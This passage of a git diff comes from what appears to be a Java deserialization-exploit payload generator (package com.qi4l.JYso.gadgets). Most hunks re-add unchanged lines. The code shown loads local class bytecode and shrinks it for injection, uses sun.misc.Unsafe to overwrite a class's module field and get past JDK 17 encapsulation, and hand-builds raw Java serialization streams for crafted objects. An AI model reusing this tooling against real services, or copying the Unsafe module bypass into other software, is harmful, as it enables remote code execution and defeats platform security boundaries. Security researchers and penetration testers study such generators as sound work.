target, String newClassName) throws Exception { + // 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名 + if (target.startsWith("LF-")) { + target = target.substring(3); + String filePath = target.contains("-") ? target.split("-")[0] : target; + CtClass ctClass = Config.POOL.makeClass(Files.newInputStream(Paths.get(filePath))); + ctClass.setName(newClassName); + + // 对本地加载的类进行缩短操作 + shrinkBytes(ctClass); + + // 使用 ClassLoaderTemplate 进行加载 + return Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } + + return null; + } + + + // 统一处理,删除一些不影响使用的 Attribute 降低类字节码的大小 + public static void shrinkBytes(CtClass ctClass) { + ClassFile classFile = ctClass.getClassFile2(); + classFile.removeAttribute(SourceFileAttribute.tag); + classFile.removeAttribute(LineNumberAttribute.tag); + classFile.removeAttribute(LocalVariableAttribute.tag); + classFile.removeAttribute(LocalVariableAttribute.typeTag); + classFile.removeAttribute(DeprecatedAttribute.tag); + classFile.removeAttribute(SignatureAttribute.tag); + classFile.removeAttribute(StackMapTable.tag); + + List list = classFile.getMethods(); + for (MethodInfo info : list) { + info.removeAttribute("RuntimeVisibleAnnotations"); + info.removeAttribute("RuntimeInvisibleAnnotations"); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java index 6b126b4..b14e0e4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java @@ -1,71 +1,71 @@ -package com.qi4l.JYso.gadgets.utils; - -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; -import sun.misc.Unsafe; - -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.ArrayList; - -@SuppressWarnings({"unused"}) -public class jdk17Bypass { - private static final Logger log = LogManager.getLogger(jdk17Bypass.class); - - private static Method getMethod(Class clazz, String methodName, Class[] params) { - Method method = null; - while (clazz != null) { - try { - method = clazz.getDeclaredMethod(methodName, params); - break; - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - return method; - } - - private static Unsafe getUnsafe() { - Unsafe unsafe; - try { - Field field = Unsafe.class.getDeclaredField("theUnsafe"); - field.setAccessible(true); - unsafe = (Unsafe) field.get(null); - } catch (Exception e) { - throw new AssertionError(e); - } - return unsafe; - } - - public static void patchModule(Class clazz, Class goalclass) { - try { - Class UnsafeClass = Class.forName("sun.misc.Unsafe"); - Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); - unsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) unsafeField.get(null); - Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); - long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); - unsafe.getAndSetObject(clazz, addr, ObjectModule); - } catch (Exception ignored) { - } - } - - public void bypassModule(ArrayList> classes) { - try { - Unsafe unsafe = getUnsafe(); - Class currentClass = this.getClass(); - try { - Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); - if (getModuleMethod != null) { - for (Class aClass : classes) { - Object targetModule = getModuleMethod.invoke(aClass); - unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); - } - } - } catch (Exception ignored) { - } - } catch (Exception e) { - log.error("e: ", e); - } - } -} +package com.qi4l.JYso.gadgets.utils; + +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; +import sun.misc.Unsafe; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; + +@SuppressWarnings({"unused"}) +public class jdk17Bypass { + private static final Logger log = LogManager.getLogger(jdk17Bypass.class); + + private static Method getMethod(Class clazz, String methodName, Class[] params) { + Method method = null; + while (clazz != null) { + try { + method = clazz.getDeclaredMethod(methodName, params); + break; + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + return method; + } + + private static Unsafe getUnsafe() { + Unsafe unsafe; + try { + Field field = Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + return unsafe; + } + + public static void patchModule(Class clazz, Class goalclass) { + try { + Class UnsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) unsafeField.get(null); + Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); + long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); + unsafe.getAndSetObject(clazz, addr, ObjectModule); + } catch (Exception ignored) { + } + } + + public void bypassModule(ArrayList> classes) { + try { + Unsafe unsafe = getUnsafe(); + Class currentClass = this.getClass(); + try { + Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); + if (getModuleMethod != null) { + for (Class aClass : classes) { + Object targetModule = getModuleMethod.invoke(aClass); + unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); + } + } + } catch (Exception ignored) { + } + } catch (Exception e) { + log.error("e: ", e); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java index 31c0527..4b22fdd 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java @@ -1,49 +1,49 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; - -public class HandleContainer { - private static final Logger log = LogManager.getLogger(HandleContainer.class); - private static Method lookup; - private static Method assign; - - static { - try { - Class cls = Class.forName("java.io.ObjectOutputStream$HandleTable"); - assign = cls.getDeclaredMethod("assign", Object.class); - assign.setAccessible(true); - lookup = cls.getDeclaredMethod("lookup", Object.class); - lookup.setAccessible(true); - } catch (Exception e) { - log.error("e: ", e); - } - } - - private final Object handle; - - public HandleContainer(Object handle) { - this.handle = handle; - } - - public int getHandle(Object obj) { - try { - return (Integer) lookup.invoke(this.handle, new Object[]{obj}); - } catch (IllegalAccessException | InvocationTargetException e) { - log.error("e: ", e); - } - return -1; - } - - public void putHandle(Object obj) { - if (getHandle(obj) == -1) - try { - assign.invoke(this.handle, obj); - } catch (IllegalAccessException | InvocationTargetException e) { - log.error("e: ", e); - } - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +public class HandleContainer { + private static final Logger log = LogManager.getLogger(HandleContainer.class); + private static Method lookup; + private static Method assign; + + static { + try { + Class cls = Class.forName("java.io.ObjectOutputStream$HandleTable"); + assign = cls.getDeclaredMethod("assign", Object.class); + assign.setAccessible(true); + lookup = cls.getDeclaredMethod("lookup", Object.class); + lookup.setAccessible(true); + } catch (Exception e) { + log.error("e: ", e); + } + } + + private final Object handle; + + public HandleContainer(Object handle) { + this.handle = handle; + } + + public int getHandle(Object obj) { + try { + return (Integer) lookup.invoke(this.handle, new Object[]{obj}); + } catch (IllegalAccessException | InvocationTargetException e) { + log.error("e: ", e); + } + return -1; + } + + public void putHandle(Object obj) { + if (getHandle(obj) == -1) + try { + assign.invoke(this.handle, obj); + } catch (IllegalAccessException | InvocationTargetException e) { + log.error("e: ", e); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/ReferencableObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/ReferencableObject.java index 44c25fe..c9e02e3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/ReferencableObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/ReferencableObject.java @@ -1,21 +1,21 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.DataOutputStream; - -public abstract class ReferencableObject { - public Object getHandleObject() { - return this; - } - - public void write(DataOutputStream out, HandleContainer handles) throws Exception { - if (handles.getHandle(getHandleObject()) != -1) { - TCReference reference = new TCReference(handles.getHandle(getHandleObject())); - reference.write(out, handles); - } else { - doWrite(out, handles); - handles.putHandle(getHandleObject()); - } - } - - public abstract void doWrite(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public abstract class ReferencableObject { + public Object getHandleObject() { + return this; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + if (handles.getHandle(getHandleObject()) != -1) { + TCReference reference = new TCReference(handles.getHandle(getHandleObject())); + reference.write(out, handles); + } else { + doWrite(out, handles); + handles.putHandle(getHandleObject()); + } + } + + public abstract void doWrite(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java index 8688bb7..4871075 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java @@ -1,147 +1,147 @@ -package com.qi4l.JYso.gadgets.utils.jre; - - -import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.io.*; -import java.lang.reflect.Field; -import java.lang.reflect.Modifier; -import java.nio.file.Files; -import java.util.ArrayList; -import java.util.List; - -public class Serialization { - private static final Logger log = LogManager.getLogger(Serialization.class); - private final List objects = new ArrayList<>(); - - private Object handle; - - private TCBlockData blockData; - - public Serialization() { - try { - ObjectOutputStream output = new ObjectOutputStream(new ByteOutputStream()); - Field f = output.getClass().getDeclaredField("handles"); - f.setAccessible(true); - this.handle = f.get(output); - } catch (Exception e) { - log.error("e: ", e); - } - } - - private static void setFieldValue(Object obj, Object value) throws Exception { - Field f = obj.getClass().getDeclaredField("handles"); - f.setAccessible(true); - if (Modifier.isFinal(f.getModifiers())) { - Field modifiersField = Field.class.getDeclaredField("modifiers"); - modifiersField.setAccessible(true); - modifiersField.setInt(f, f.getModifiers() & 0xFFFFFFEF); - } - f.set(obj, value); - } - - public void addObject(Object obj) throws Exception { - addObject(obj, false); - } - - public void addObject(Object obj, boolean block) throws Exception { - if (obj instanceof TCObject) { - TCObject tco = (TCObject) obj; - if (tco.size() == 0) - throw new Exception("no class_desc/data in TCObject"); - } - this.objects.add(new Data(block, obj)); - } - - public void write(String path) throws Exception { - write(new File(path)); - } - - public void write(File path) throws Exception { - write(Files.newOutputStream(path.toPath())); - } - - public void write(OutputStream o) throws Exception { - if (this.objects.isEmpty()) - throw new Exception("no objects in serialization"); - DataOutputStream out = new DataOutputStream(o); - out.writeShort(-21267); - out.writeShort(5); - HandleContainer handles = new HandleContainer(this.handle); - for (Data data : this.objects) { - if (!data.block) - writeBlockData(out, handles); - Object obj = data.data; - if (obj instanceof SerializedElement) { - ((SerializedElement) obj).write(out, handles); - continue; - } - treatObject(out, obj, handles, data.block); - } - writeBlockData(out, handles); - out.close(); - } - - protected void writeBlockData(DataOutputStream out, HandleContainer handles) throws Exception { - if (this.blockData != null) { - this.blockData.write(out, handles); - this.blockData = null; - } - } - - public void treatObject(DataOutputStream out, Object obj, HandleContainer handles, boolean blockData) throws Exception { - if (blockData) { - if (this.blockData == null) - this.blockData = new TCBlockData(); - this.blockData.append(obj); - return; - } - writeBlockData(out, handles); - if (obj instanceof Byte) { - out.writeByte((Byte) obj); - } else if (obj instanceof Short) { - out.writeShort((Short) obj); - } else if (obj instanceof Integer) { - out.writeInt((Integer) obj); - } else if (obj instanceof Long) { - out.writeLong((Long) obj); - } else if (obj instanceof Float) { - out.writeFloat((Float) obj); - } else if (obj instanceof Double) { - out.writeDouble((Double) obj); - } else if (obj instanceof Character) { - out.writeChar((Character) obj); - } else if (obj instanceof String || obj instanceof TCString) { - TCString s = (obj instanceof TCString) ? (TCString) obj : TCString.getInstance(obj.toString()); - s.write(out, handles); - } else if (obj instanceof TCObject) { - TCObject o = (TCObject) obj; - o.write(out, handles); - } else { - ByteArrayOutputStream byteout = new ByteArrayOutputStream(); - ObjectOutputStream objout = getPatchedOutputStream(byteout); - TCJavaObject o = new TCJavaObject(obj, byteout, objout); - o.write(out, handles); - } - } - - private ObjectOutputStream getPatchedOutputStream(ByteArrayOutputStream out) throws Exception { - ObjectOutputStream oos = new ObjectOutputStream(out); - setFieldValue(oos, this.handle); - return oos; - } - - private static class Data { - - private final boolean block; - - private final Object data; - - public Data(boolean block, Object data) { - this.block = block; - this.data = data; - } - } -} +package com.qi4l.JYso.gadgets.utils.jre; + + +import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.nio.file.Files; +import java.util.ArrayList; +import java.util.List; + +public class Serialization { + private static final Logger log = LogManager.getLogger(Serialization.class); + private final List objects = new ArrayList<>(); + + private Object handle; + + private TCBlockData blockData; + + public Serialization() { + try { + ObjectOutputStream output = new ObjectOutputStream(new ByteOutputStream()); + Field f = output.getClass().getDeclaredField("handles"); + f.setAccessible(true); + this.handle = f.get(output); + } catch (Exception e) { + log.error("e: ", e); + } + } + + private static void setFieldValue(Object obj, Object value) throws Exception { + Field f = obj.getClass().getDeclaredField("handles"); + f.setAccessible(true); + if (Modifier.isFinal(f.getModifiers())) { + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & 0xFFFFFFEF); + } + f.set(obj, value); + } + + public void addObject(Object obj) throws Exception { + addObject(obj, false); + } + + public void addObject(Object obj, boolean block) throws Exception { + if (obj instanceof TCObject) { + TCObject tco = (TCObject) obj; + if (tco.size() == 0) + throw new Exception("no class_desc/data in TCObject"); + } + this.objects.add(new Data(block, obj)); + } + + public void write(String path) throws Exception { + write(new File(path)); + } + + public void write(File path) throws Exception { + write(Files.newOutputStream(path.toPath())); + } + + public void write(OutputStream o) throws Exception { + if (this.objects.isEmpty()) + throw new Exception("no objects in serialization"); + DataOutputStream out = new DataOutputStream(o); + out.writeShort(-21267); + out.writeShort(5); + HandleContainer handles = new HandleContainer(this.handle); + for (Data data : this.objects) { + if (!data.block) + writeBlockData(out, handles); + Object obj = data.data; + if (obj instanceof SerializedElement) { + ((SerializedElement) obj).write(out, handles); + continue; + } + treatObject(out, obj, handles, data.block); + } + writeBlockData(out, handles); + out.close(); + } + + protected void writeBlockData(DataOutputStream out, HandleContainer handles) throws Exception { + if (this.blockData != null) { + this.blockData.write(out, handles); + this.blockData = null; + } + } + + public void treatObject(DataOutputStream out, Object obj, HandleContainer handles, boolean blockData) throws Exception { + if (blockData) { + if (this.blockData == null) + this.blockData = new TCBlockData(); + this.blockData.append(obj); + return; + } + writeBlockData(out, handles); + if (obj instanceof Byte) { + out.writeByte((Byte) obj); + } else if (obj instanceof Short) { + out.writeShort((Short) obj); + } else if (obj instanceof Integer) { + out.writeInt((Integer) obj); + } else if (obj instanceof Long) { + out.writeLong((Long) obj); + } else if (obj instanceof Float) { + out.writeFloat((Float) obj); + } else if (obj instanceof Double) { + out.writeDouble((Double) obj); + } else if (obj instanceof Character) { + out.writeChar((Character) obj); + } else if (obj instanceof String || obj instanceof TCString) { + TCString s = (obj instanceof TCString) ? (TCString) obj : TCString.getInstance(obj.toString()); + s.write(out, handles); + } else if (obj instanceof TCObject) { + TCObject o = (TCObject) obj; + o.write(out, handles); + } else { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + ObjectOutputStream objout = getPatchedOutputStream(byteout); + TCJavaObject o = new TCJavaObject(obj, byteout, objout); + o.write(out, handles); + } + } + + private ObjectOutputStream getPatchedOutputStream(ByteArrayOutputStream out) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(out); + setFieldValue(oos, this.handle); + return oos; + } + + private static class Data { + + private final boolean block; + + private final Object data; + + public Data(boolean block, Object data) { + this.block = block; + this.data = data; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/SerializedElement.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/SerializedElement.java index 8973311..7316f4a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/SerializedElement.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/SerializedElement.java @@ -1,8 +1,8 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.DataOutputStream; - -public interface SerializedElement { - - void write(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public interface SerializedElement { + + void write(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java index 77a9e8f..387f350 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java @@ -1,43 +1,43 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.ByteArrayOutputStream; -import java.io.DataOutputStream; - -public class TCBlockData implements SerializedElement { - private final ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); - - private final DataOutputStream out = new DataOutputStream(this.byteOut); - - public void append(Object data) throws Exception { - if (data instanceof Integer) { - this.out.writeInt((Integer) data); - } else if (data instanceof Short) { - this.out.writeShort((Short) data); - } else if (data instanceof Long) { - this.out.writeLong((Long) data); - } else if (data instanceof Byte) { - this.out.writeByte((Byte) data); - } else if (data instanceof Character) { - this.out.writeChar((Character) data); - } else if (data instanceof char[]) { - this.out.writeChars(new String((char[]) data)); - } else if (data instanceof String) { - this.out.writeUTF((String) data); - } else if (data instanceof Float) { - this.out.writeFloat((Float) data); - } else if (data instanceof Double) { - this.out.writeDouble((Double) data); - } else if (data instanceof Boolean) { - this.out.writeBoolean((Boolean) data); - } - } - - public void write(DataOutputStream out, HandleContainer handles) throws Exception { - out.writeByte(119); - byte[] data = this.byteOut.toByteArray(); - out.writeByte(data.length); - out.write(data); - this.byteOut.close(); - this.out.close(); - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; + +public class TCBlockData implements SerializedElement { + private final ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); + + private final DataOutputStream out = new DataOutputStream(this.byteOut); + + public void append(Object data) throws Exception { + if (data instanceof Integer) { + this.out.writeInt((Integer) data); + } else if (data instanceof Short) { + this.out.writeShort((Short) data); + } else if (data instanceof Long) { + this.out.writeLong((Long) data); + } else if (data instanceof Byte) { + this.out.writeByte((Byte) data); + } else if (data instanceof Character) { + this.out.writeChar((Character) data); + } else if (data instanceof char[]) { + this.out.writeChars(new String((char[]) data)); + } else if (data instanceof String) { + this.out.writeUTF((String) data); + } else if (data instanceof Float) { + this.out.writeFloat((Float) data); + } else if (data instanceof Double) { + this.out.writeDouble((Double) data); + } else if (data instanceof Boolean) { + this.out.writeBoolean((Boolean) data); + } + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(119); + byte[] data = this.byteOut.toByteArray(); + out.writeByte(data.length); + out.write(data); + this.byteOut.close(); + this.out.close(); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java index d906fdf..be5f146 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java @@ -1,125 +1,125 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.DataOutputStream; -import java.io.Serializable; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -public class TCClassDesc extends ReferencableObject implements SerializedElement { - private String className; - - private long serialVersionUID; - - private byte classDescFlags; - - private final List fields = new ArrayList<>(); - - protected TCClassDesc() { - } - - public TCClassDesc(String className) throws Exception { - this(className, -1L, (byte) 0); - } - - public TCClassDesc(String className, byte classDescFlags) throws Exception { - this(className, -1L, classDescFlags); - } - - public TCClassDesc(String className, long serialVersionUID, byte classDescFlags) throws Exception { - this.className = className; - this.serialVersionUID = (serialVersionUID != -1L) ? serialVersionUID : getSerialVersionUID(); - this.classDescFlags = (classDescFlags != 0) ? classDescFlags : getClassDescFlags(); - } - - public int getFieldsCount() { - return this.fields.size(); - } - - private long getSerialVersionUID() throws Exception { - Class cls = Class.forName(this.className); - java.lang.reflect.Field f = cls.getDeclaredField("serialVersionUID"); - f.setAccessible(true); - return Long.parseLong(f.get((Object) null).toString()); - } - - private byte getClassDescFlags() throws Exception { - Class cls = Class.forName(this.className); - byte b = 0; - if (Serializable.class.isAssignableFrom(cls)) - b = (byte) (b | 0x2); - try { - b = (byte) (b | 0x1); - } catch (Exception ignored) { - } - return b; - } - - public boolean hasWriteObject() { - return ((this.classDescFlags & 0x1) != 0); - } - - public void addField(Field field) { - this.fields.add(field); - } - - public void write(DataOutputStream out, HandleContainer handles) throws Exception { - if (handles.getHandle(this) != -1) { - TCReference reference = new TCReference(handles.getHandle(this)); - reference.write(out, handles); - throw new Exception("stop"); - } - super.write(out, handles); - } - - public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { - out.writeByte(114); - out.writeUTF(this.className); - out.writeLong(this.serialVersionUID); - out.writeByte(this.classDescFlags); - out.writeShort(this.fields.size()); - handles.putHandle(getHandleObject()); - for (Field field : this.fields) - field.write(out, handles); - out.writeByte(120); - } - - public static class Field implements SerializedElement { - - private final String name; - - private final Class type; - - public Field(String name, Class type) { - this.name = name; - this.type = type; - } - - private byte getTypeByte() { - Map, Byte> bytes = new HashMap<>(); - bytes.put(byte.class, (byte) 66); - bytes.put(char.class, (byte) 67); - bytes.put(double.class, (byte) 68); - bytes.put(float.class, (byte) 70); - bytes.put(int.class, (byte) 73); - bytes.put(long.class, (byte) 74); - bytes.put(short.class, (byte) 83); - bytes.put(boolean.class, (byte) 90); - Byte b = bytes.get(this.type); - if (b == null) - b = (byte) 76; - return b; - } - - public void write(DataOutputStream out, HandleContainer handles) throws Exception { - byte b = getTypeByte(); - out.writeByte(b); - out.writeUTF(this.name); - if (b == 76) { - TCString s = TCString.getInstance((char) b + this.type.getName().replace('.', '/') + ";"); - s.write(out, handles); - } - } - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class TCClassDesc extends ReferencableObject implements SerializedElement { + private String className; + + private long serialVersionUID; + + private byte classDescFlags; + + private final List fields = new ArrayList<>(); + + protected TCClassDesc() { + } + + public TCClassDesc(String className) throws Exception { + this(className, -1L, (byte) 0); + } + + public TCClassDesc(String className, byte classDescFlags) throws Exception { + this(className, -1L, classDescFlags); + } + + public TCClassDesc(String className, long serialVersionUID, byte classDescFlags) throws Exception { + this.className = className; + this.serialVersionUID = (serialVersionUID != -1L) ? serialVersionUID : getSerialVersionUID(); + this.classDescFlags = (classDescFlags != 0) ? classDescFlags : getClassDescFlags(); + } + + public int getFieldsCount() { + return this.fields.size(); + } + + private long getSerialVersionUID() throws Exception { + Class cls = Class.forName(this.className); + java.lang.reflect.Field f = cls.getDeclaredField("serialVersionUID"); + f.setAccessible(true); + return Long.parseLong(f.get((Object) null).toString()); + } + + private byte getClassDescFlags() throws Exception { + Class cls = Class.forName(this.className); + byte b = 0; + if (Serializable.class.isAssignableFrom(cls)) + b = (byte) (b | 0x2); + try { + b = (byte) (b | 0x1); + } catch (Exception ignored) { + } + return b; + } + + public boolean hasWriteObject() { + return ((this.classDescFlags & 0x1) != 0); + } + + public void addField(Field field) { + this.fields.add(field); + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + if (handles.getHandle(this) != -1) { + TCReference reference = new TCReference(handles.getHandle(this)); + reference.write(out, handles); + throw new Exception("stop"); + } + super.write(out, handles); + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(114); + out.writeUTF(this.className); + out.writeLong(this.serialVersionUID); + out.writeByte(this.classDescFlags); + out.writeShort(this.fields.size()); + handles.putHandle(getHandleObject()); + for (Field field : this.fields) + field.write(out, handles); + out.writeByte(120); + } + + public static class Field implements SerializedElement { + + private final String name; + + private final Class type; + + public Field(String name, Class type) { + this.name = name; + this.type = type; + } + + private byte getTypeByte() { + Map, Byte> bytes = new HashMap<>(); + bytes.put(byte.class, (byte) 66); + bytes.put(char.class, (byte) 67); + bytes.put(double.class, (byte) 68); + bytes.put(float.class, (byte) 70); + bytes.put(int.class, (byte) 73); + bytes.put(long.class, (byte) 74); + bytes.put(short.class, (byte) 83); + bytes.put(boolean.class, (byte) 90); + Byte b = bytes.get(this.type); + if (b == null) + b = (byte) 76; + return b; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + byte b = getTypeByte(); + out.writeByte(b); + out.writeUTF(this.name); + if (b == 76) { + TCString s = TCString.getInstance((char) b + this.type.getName().replace('.', '/') + ";"); + s.write(out, handles); + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java index 4d39d2c..60898db 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java @@ -1,28 +1,28 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.ByteArrayOutputStream; -import java.io.DataOutputStream; -import java.io.ObjectOutputStream; - -public class TCJavaObject extends ReferencableObject implements SerializedElement { - private final ObjectOutputStream objOut; - - private final ByteArrayOutputStream byteOut; - - private final Object obj; - - public TCJavaObject(Object obj, ByteArrayOutputStream byteOut, ObjectOutputStream objOut) { - this.obj = obj; - this.byteOut = byteOut; - this.objOut = objOut; - } - - public Object getHandleObject() { - return this.obj; - } - - public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { - this.objOut.writeObject(this.obj); - out.write(this.byteOut.toByteArray(), 4, this.byteOut.size() - 4); - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.ObjectOutputStream; + +public class TCJavaObject extends ReferencableObject implements SerializedElement { + private final ObjectOutputStream objOut; + + private final ByteArrayOutputStream byteOut; + + private final Object obj; + + public TCJavaObject(Object obj, ByteArrayOutputStream byteOut, ObjectOutputStream objOut) { + this.obj = obj; + this.byteOut = byteOut; + this.objOut = objOut; + } + + public Object getHandleObject() { + return this.obj; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + this.objOut.writeObject(this.obj); + out.write(this.byteOut.toByteArray(), 4, this.byteOut.size() - 4); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java index 25be340..2e629fc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java @@ -1,130 +1,130 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.io.DataOutputStream; -import java.util.ArrayList; -import java.util.List; - -public class TCObject extends ReferencableObject implements SerializedElement { - private static final Logger log = LogManager.getLogger(TCObject.class); - private final Serialization ser; - - private final List descData; - - public TCObject(Serialization ser) { - this.descData = new ArrayList<>(); - this.ser = ser; - } - - public int size() { - return this.descData.size(); - } - - public void addClassDescData(TCClassDesc desc, ObjectData data) throws Exception { - addClassDescData(desc, data, false); - } - - public void addClassDescData(TCClassDesc desc, ObjectData data, boolean ignoreEquality) throws Exception { - if (!ignoreEquality && - desc.getFieldsCount() != data.size()) - throw new Exception("not enough fields/data, fields count: " + desc.getFieldsCount() + ", data count: " + data.size()); - data.setSer(this.ser); - this.descData.add(new ClassDescData(desc, data)); - } - - protected void writeHeader(DataOutputStream out) throws Exception { - out.writeByte(115); - } - - protected void writeClassDescs(DataOutputStream out, HandleContainer handles) { - try { - for (ClassDescData d : this.descData) { - d.getDesc().write(out, handles); - } - out.writeByte(112); - } catch (Exception e) { - if (!e.getMessage().equals("stop")) - log.error("e: ", e); - } - } - - protected void writeClassData(DataOutputStream out, HandleContainer handles) throws Exception { - for (int i = this.descData.size() - 1; i >= 0; i--) { - ClassDescData d = this.descData.get(i); - d.getData().write(out, handles); - if (d.getDesc().hasWriteObject()) { - this.ser.writeBlockData(out, handles); - out.writeByte(120); - } - } - } - - public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { - writeHeader(out); - writeClassDescs(out, handles); - handles.putHandle(getHandleObject()); - writeClassData(out, handles); - } - - private static class ClassDescData { - - private final TCClassDesc desc; - - private final TCObject.ObjectData data; - - public ClassDescData(TCClassDesc desc, TCObject.ObjectData data) { - this.desc = desc; - this.data = data; - } - - public TCClassDesc getDesc() { - return this.desc; - } - - public TCObject.ObjectData getData() { - return this.data; - } - } - - public static class 